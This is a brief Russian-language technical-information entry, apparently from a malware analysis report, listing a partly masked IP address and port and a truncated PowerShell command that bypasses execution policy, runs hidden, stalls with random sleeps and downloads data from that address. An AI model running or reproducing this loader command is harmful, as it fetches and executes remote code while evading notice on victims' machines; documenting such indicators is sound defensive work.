Техническая информация
- '2.##.222.98':43820
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -executionpolicy bypass -w hidden -noprofile -c start-sleep 39;start-sleep (get-random -min 5 -max 43);start-sleep 11;$iik=new-object net.webclient;$flm=$iik.downloaddata('http://2.##.222.98:43... (со скрытым окном)